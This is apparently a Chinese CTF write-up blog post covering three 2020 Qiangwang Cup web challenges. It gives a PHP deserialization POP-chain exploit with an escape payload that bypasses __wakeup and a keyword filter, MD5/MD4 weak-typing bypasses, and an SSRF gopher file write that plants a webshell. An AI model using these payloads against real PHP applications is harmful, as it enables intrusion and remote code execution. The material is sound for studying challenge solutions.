CTF Web安全

强网杯 web题

Posted on 2020-08-23,5 min read

web辅助

源码中。
class.php是类文件。用于构造pop链
common.php是自定义函数文件。。其中。read和write。是上次安恒月赛考过的。反序列化逃逸

index.php接受username和password参数。初始化player类。写入文件
play.php反序列化从文件中读取的序列化字符
会经过check函数。

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

不能出现name。
再去看看类文件。构造POP链

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
		//触发destruct
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
			//把类当作函数调用。触发invoke
        }
    }

    public function __destruct(){
        $this->TP();
		//调用TP()
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
		//绕过wakeup
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
			//把类当作字符串。触发tostring
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS(); 
		//触发KS。读取flag
        return "";  
    }

}
?>

以下是EXP

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;
    public function __construct($user, $pass, $admin){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
}

class topsolo{
    protected $name;
    public function __construct($name){
        $this->name=$name;
    }

}

class midsolo{
    protected $name;
    public function __construct($name){
        $this->name=$name;
    }    
}

class jungle{
    protected $name;
}
$d=new jungle();
$c=new midsolo($d);
$b=new topsolo($c);
$a=new player('1','1212121',$b);
echo urlencode(serialize($a));
?>

然后绕过wakeup。和name。
wakeup+1绕过。name利用S: \6eame绕过
然后就是逃逸对象了

username=11\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=1";s:7:"%00*%00pass";s:7:"1212121";s:8:"%00*%00admin";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6eame%22%3BN%3B%7D%7D%7D}

然后play.php触发就行

Funhash

$_GET["hash1"] != hash("md4", $_GET["hash1"])
//弱类型。找个0e开头加密后还是0e的就行。
$_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])
//数组绕过
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
//找个加密后带'||'或者'or'的字符串就行

half_infiltration

审计源码

可控点:

$student->$body();
global $$this->num;
$result=$GLOBALS['flag'];
我们可以调用Pass的read方法。来获取flag。$$this->num。变量覆盖$result=flag
但是read方法开启了ob_start()。会把所有输出放到缓冲区。并且$result赋值后。清空缓冲区。并不会有输出。
websec.fr中ob_start遇到报错。就会把信息输出出来。
而ob_Start和ob_end_clean中间。只有一个global $$a可控。
所以嘚想办法让global $$a报错

第五空间的WP中。当赋值$$this会报错。。导致触发exception。就会输出结果
EXP:

<?php
class Pass{
}

class User{
    public $age,$sex,$num;
    public function __construct($a1,$a2,$a3){
        $this->age=$a1;
        $this->sex=$a2;
        $this->num=$a3;
    }
}
$a=new Pass();
$b=new User($a,'read','result');
$c=new User($a,'read','this');
echo serialize(array($b,$c));

原理:
第一个是正常payload。覆盖全局变量result。第二个payload触发exception。它就不会清理掉print的输出。输出flag。
F12得到ssrf的源码

遍历得到40000存在一个貌似文件上传服务。
参数是file和content。
利用gopher写文件。
然后发现禁了=<?php等。
用php://filter/convert.base64-decode/resource=123.php+base64编码PHP短标签绕过。
uploads目录遍历得到shell

下一篇: CTFWP@NULL知识星球的一个小知识点→